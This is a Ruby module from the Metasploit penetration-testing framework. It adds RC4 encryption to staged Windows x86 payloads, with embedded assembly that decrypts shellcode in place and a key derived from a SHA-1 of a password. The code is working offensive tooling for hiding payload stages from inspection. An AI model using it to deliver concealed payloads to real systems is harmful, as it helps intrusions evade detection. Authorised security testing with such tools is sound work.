# -*- coding: binary -*-

require 'msf/core'

module Msf

###
#
# RC4 decryption stub for Windows ARCH_X86 payloads
#
###
module Payload::Windows::Rc4
  #
  # Register rc4 specific options
  #
  def initialize(*args)
    super
    register_options([ OptString.new('RC4PASSWORD', [true, 'Password to derive RC4 key from', 'msf']) ], self.class)
  end

  #
  # Generate assembly code that decrypts RC4 shellcode in-place
  #

  def asm_decrypt_rc4
    %!
      ;-----------------------------------------------------------------------------;
      ; Author: Michael Schierl (schierlm[at]gmx[dot]de)
      ; Version: 1.0 (29 December 2012)
      ;-----------------------------------------------------------------------------;
      ; Input: EBP - Data to decode
      ;        ECX - Data length
      ;        ESI - Key (16 bytes for simplicity)
      ;        EDI - pointer to 0x100 bytes scratch space for S-box
      ; Direction flag has to be cleared
      ; Output: None. Data is decoded in place.
      ; Clobbers: EAX, EBX, ECX, EDX, EBP (stack is not used)

      ; Initialize S-box
        xor eax, eax           ; Start with 0
      init:
        stosb                  ; Store next S-Box byte S[i] = i
        inc al                 ; increase byte to write (EDI is increased automatically)
        jnz init               ; loop until we wrap around
        sub edi, 0x100         ; restore EDI
      ; permute S-box according to key
        xor ebx, ebx           ; Clear EBX (EAX is already cleared)
      permute:
        add bl, [edi+eax]      ; BL += S[AL] + KEY[AL % 16]
        mov edx, eax
        and dl, 0xF
        add bl, [esi+edx]
        mov dl, [edi+eax]      ; swap S[AL] and S[BL]
        xchg dl, [edi+ebx]
        mov [edi+eax], dl
        inc al                 ; AL += 1 until we wrap around
        jnz permute
      ; decryption loop
        xor ebx, ebx           ; Clear EBX (EAX is already cleared)
      decrypt:
        inc al                 ; AL += 1
        add bl, [edi+eax]      ; BL += S[AL]
        mov dl, [edi+eax]      ; swap S[AL] and S[BL]
        xchg dl, [edi+ebx]
        mov [edi+eax], dl
        add dl, [edi+ebx]      ; DL = S[AL]+S[BL]
        mov dl, [edi+edx]      ; DL = S[DL]
        xor [ebp], dl          ; [EBP] ^= DL
        inc ebp                ; advance data pointer
        dec ecx                ; reduce counter
        jnz decrypt            ; until finished
     !
  end

  def generate_stage(opts = {})
    p = super(opts)
    xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
    c1 = OpenSSL::Cipher.new('RC4')
    c1.decrypt
    c1.key = rc4key
    p = c1.update(p)
    [ p.length ^ xorkey.unpack('V')[0] ].pack('V') + p
  end

  def handle_intermediate_stage(_conn, _payload)
    false
  end

  private

  def rc4_keys(rc4pass = '')
    m = OpenSSL::Digest.new('sha1')
    m.reset
    key = m.digest(rc4pass)
    [key[0, 4], key[4, 16]]
  end
end
end